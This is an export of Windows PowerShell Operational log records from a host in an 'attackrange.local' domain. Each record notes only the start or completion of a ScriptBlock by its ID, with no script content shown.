SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047991
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047989
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047988
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047971
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047965
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
